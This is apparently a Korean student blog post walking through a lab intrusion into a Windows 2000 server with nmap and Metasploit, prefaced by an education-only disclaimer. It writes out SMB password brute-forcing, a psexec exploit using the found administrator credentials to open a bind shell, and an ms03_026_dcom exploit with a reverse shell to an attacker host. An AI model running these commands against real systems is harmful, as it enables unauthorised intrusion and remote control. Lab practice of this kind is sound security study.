이 글은 교육목적으로 작성하는 것으로 절대 타인의 컴퓨터에 공격을 해서는 안됩니다.
범죄 행위이고 처벌을 받을 수 있습니다.
모든 해킹 행위는 자기 자신에게 책임이 있습니다.
제 블로그는 불법적인 해킹 행위를 권장하거나 유도하지 않습니다. 오로지 테스트 및 연습 목적으로 읽어주시면 감사하겠습니다.
이 글에서는 윈도우 기반의 운영체제 침투를 해보도록 하겠습니다.
공격을 시도할 피해자 서버를 준비를 해줍니다.
windows 2000 server입니다. IP 주소는 192.168.0.123입니다.
처음 침투를 위해서는 침투할 서버의 네트워크에 대해 조사를 해야 됩니다. 우리는 ip 주소를 알고 있으므로 ip 주소를 nmap을 활용하여 포트스캔을 해보겠습니다.
nmap을 이용하여 침투할 서버에 대해 조사를 해보겠습니다.
nmap -sT -sV -O 192.168.0.123
-O 옵션으로 서버 OS를 식별, -sT 옵션을 주어 TCP 연결을 이용해 스캔을 하였습니다. 또 -sV 옵션으로 포트별 버전을 표시했습니다.
이번에는 samba 포트로 사용 중인 445번 포트로 침투를 하겠습니다.
1. 무차별 대입 공격
use auxiliary/scanner/smb/smb_login
set rhost 192.168.0.123
set user_file /root/users.txt
set pass_file /root/passwords_test.txt
set stop_on_success true
set threads 256
run
smb 포트 스캐너를 통해 삼바 로그인에 무차별 대입 공격을 했습니다. users.txt / passwords_test.txt 파일은 무차별 대입에 사용할 문자들이 들어 있습니다.
무차별 대입 공격 결과
아이디: administrator / 패스워드: testserver
위와 같이 아이디 패스워드를 알아내었습니다.
2. windows 삼바를 이용한 PSExec 침투
serach smb
1999-01-01년도에 발견된 마이크로소프트 윈도우의 Authenticated User Code Execution입니다. 인증된 유저 코드를 실행한다고 합니다. 인증된 유저이기 때문에 이 침투를 하기 위해서는 아이디와 패스워드가 필요합니다.
use exploit/windows/smb/psexec
set payload windows/shell/bind_tcp
set rhost 192.168.0.123
set smbuser administrator
set smbpass testserver
exploit
윈도우 삼바 취약점 중에서 PSExec 취약점을 사용하겠다고 하는 뜻입니다. windows shell에 bind_tcp 방식으로 통신을 하겠다는 뜻입니다.
bind 쉘 방식이기 때문에 피해자의 ip주소만 적어준다음, 인증된 사용자에 대한 정보를 입력해 줍니다.
기본적으로 help를 치면 여러 커맨드 명령어를 사용할 수 있고, 서버의 C 드라이브나 디렉터리 리스트를 볼 수 있습니다.
netstat -n 명령으로 현재 활성화되어 있는 네트워크 정보들을 볼 수 있습니다. 현재 우리가 피해자 서버의 4444번 포트로 bind 방식으로 연결을 하고 있는 것을 볼 수 있습니다.
기본적으로 파일 공유를 하는 삼바지만 인증된 유저의 패스워드 정보와 아이디만 알고 있다면, 취약점을 이용해 커맨드 쉘까지 접근할 수 있습니다.
3. ms03_026_dcom 모듈을 이용한 침투
search ms03_026_dcom은 2003-07-16에 26번째로 발견된 취약점입니다. 이 공격은 RPC 원격제어 모듈의 인터페이스 오버플로우 침투입니다.
DCOM (Distributed Component Object Model) RPC (Remote Procedure Call) 인터페이스 보안 취약점
마이크로 소프트 보안공지에 대항 취약점에 대한 설명이 나와 있습니다.
https://docs.microsoft.com/en-us/security-updates/securitybulletins/2003/ms03-026
set payload windows/dcerpc/ms03_026_dcom
set rhost 192.168.0.123
set lhost 192.168.0.124
set lport 443
exploit
패스워드 없이 reversed 방식으로 meterpreter 쉘을 실행시킬 수 있습니다.
'전공 공부 > 리눅스 보안 실습' 카테고리의 다른 글
John the Ripper를 활용한 비밀번호 해독 (리눅스, 윈도우) (0) | 2019.11.06 |
---|---|
중간 정리 (0) | 2019.10.23 |
Spoofing(스푸핑), Sniffing(스니핑) - 칼리리눅스 (0) | 2019.10.16 |
유닉스/리눅스 기반의 운영체제 침투하기(메타스플로잇터블) (0) | 2019.10.05 |
무차별 대입 공격(hydra, 히드라) (0) | 2019.10.04 |